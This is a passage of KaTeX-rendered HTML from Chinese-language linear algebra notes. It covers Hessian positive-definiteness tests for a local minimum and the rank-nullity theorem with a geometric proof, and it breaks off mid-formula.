style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p></p><p>考虑上面的二次齐次函数，可以看出其形式与二次函数类似。</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>v</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi>x</mi><mo>−</mo><msub><mi>x</mi><mn>0</mn></msub></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi>y</mi><mo>−</mo><msub><mi>y</mi><mn>0</mn></msub></mrow></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo separator="true">,</mo><mspace width="1em"/><mi>f</mi><mo stretchy="false">(</mo><mi>v</mi><mo stretchy="false">)</mo><mo>=</mo><msup><mi>v</mi><mi>T</mi></msup><mi>H</mi><mi>v</mi></mrow><annotation encoding="application/x-tex">v = \begin{bmatrix} x - x_0 \\ y - y_0 \end{bmatrix}, \quad f(v) = v^T H v </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span></span></p><p>对于任何非零向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex"> v </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span>，如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>v</mi><mo stretchy="false">)</mo><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> f(v) &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，即当 Hessian 矩阵正定，函数在该点处弯曲向上，配合梯度为 0 则有极小值。</p><p>可以利用以下条件判断 Hessian 矩阵是否正定：</p><ol><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>det</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>H</mi><mo stretchy="false">)</mo><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> \det(H) &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">det</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 且 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>f</mi><mrow><mi>x</mi><mi>x</mi></mrow></msub><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> f_{xx} &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">xx</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。</p></li><li><p>特征值均为正数。</p></li></ol><h1 id="秩-零化度定理"><a class="markdownIt-Anchor" href="#秩-零化度定理"></a> 秩-零化度定理</h1><h2 id="像空间和核空间"><a class="markdownIt-Anchor" href="#像空间和核空间"></a> 像空间和核空间</h2><p>对于变换，都是将向量从一个空间映射到另一个空间。</p><p>所有输出向量构成的集合为像空间，所有被映射到零向量的输入向量构成的集合叫核空间或零空间。</p><hr /><p>秩-零化度定理：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>dim</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>ker</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mo>+</mo><mi>R</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><mi>dim</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>V</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\dim(\ker(A)) + R(A) = \dim(V) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">dim</span><span class="mopen">(</span><span class="mop">ker</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">))</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">dim</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mclose">)</span></span></span></span></span></p><p>几何证明：</p><ol><li><p>取核空间中的一组基为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><msub><mi>u</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>u</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>u</mi><mi>k</mi></msub><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex"> \{u_1, u_2, \ldots, u_k\} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span>，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>dim</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>ker</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mo>=</mo><mi>k</mi></mrow><annotation encoding="application/x-tex"> \dim(\ker(A)) = k </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">dim</span><span class="mopen">(</span><span class="mop">ker</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">))</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>。</p></li><li><p>将基扩展为整个空间 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>V</mi></mrow><annotation encoding="application/x-tex"> V </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span> 的一组基 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><msub><mi>u</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>u</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>u</mi><mi>k</mi></msub><mo separator="true">,</mo><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>v</mi><mi>n</mi></msub><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex"> \{u_1, u_2, \ldots, u_k, v_{k+1}, v_{k+2}, \ldots, v_n\} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span>，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>dim</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>V</mi><mo stretchy="false">)</mo><mo>=</mo><mi>k</mi><mo>+</mo><mi>m</mi><mo>=</mo><mi>n</mi></mrow><annotation encoding="application/x-tex"> \dim(V) = k + m = n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">dim</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>。</p></li><li><p>证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>A</mi><msub><mi>v</mi><mi>n</mi></msub><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex"> \{A v_{k+1}, A v_{k+2}, \ldots, A v_n\} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Im</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> \operatorname{Im}(A) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop"><span class="mord mathrm">Im</span></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span></span></span></span> 的一组基。</p><ul><li><p>线性无关性：假设存在系数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>c</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> c_{k+1}, c_{k+2}, \ldots, c_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 使得</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>+</mo><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>c</mi><mi>n</mi></msub><mi>A</mi><msub><mi>v</mi><mi>n</mi></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">c_{k+1} A v_{k+1} + c_{k+2} A v_{k+2} + \ldots + c_n A v_n = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8917em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8917em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" 